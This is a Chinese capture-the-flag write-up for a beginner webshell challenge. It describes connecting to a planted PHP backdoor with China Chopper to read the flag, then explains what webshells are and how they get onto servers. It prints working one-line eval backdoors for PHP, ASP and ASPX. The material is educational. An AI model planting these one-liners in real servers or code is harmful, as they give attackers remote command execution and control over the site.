XCTF攻防世界web新手练习—webshell
题目
题目为webshell,描述中,重点:把它放在了index.php里
打开题目,你会使用webshell吗?并写出了一句话,从中很容易看出这个一句话的密码是" shell "
顺理成章,打开菜刀,添加,输入url,输如密码,连接成功,
一气呵成!
菜刀连接成功后可以直接对服务器文件进行操作,看到flag.txt,打开获得flag!
关于webshell与一句话木马
webshell
维基百科:
webshell(分类为远程访问木马)是作为一个基于网络的实现的网络安全威胁shell概念。 Webshell可以上传到Web服务器,以
允许远程访问Web服务器,例如Web服务器的文件系统。
Webshell的独特之处在于它使用户能够通过充当命令行界面的Web浏览器访问Web服务器。用户可以使用Web浏览器通过万维网访问远程计算机在任何类型的系统上,无论是台式计算机还是带有Web浏览器的手机,都可以在远程系统上执行任务。主机或客户端都不需要命令行环境。
简单的说webshell就是web后门,比如php,asp木马后门。黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
Web shell通过Web应用程序中的漏洞或弱服务器安全配置上传,包括以下内容:
- 1. SQL注入 ;
- 2. 应用程序和服务中的漏洞(例如NGINX等Web服务器软件或WordPress等内容管理系统应用程序);
- 3. 文件处理和上传漏洞(例如限制可上传的文件类型);
- 4. 远程文件包含(RFI)和本地文件包含(LFI)漏洞;
- 5. 远程代码执行 ;
- 6. 暴露的管理界面;
- 7. 跨站脚本
一句话木马
简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。
一些不同脚本语言的一句话木马
php一句话木马: <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%>
或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
参考:https://blog.youkuaiyun.com/qq_36119192/article/details/84563791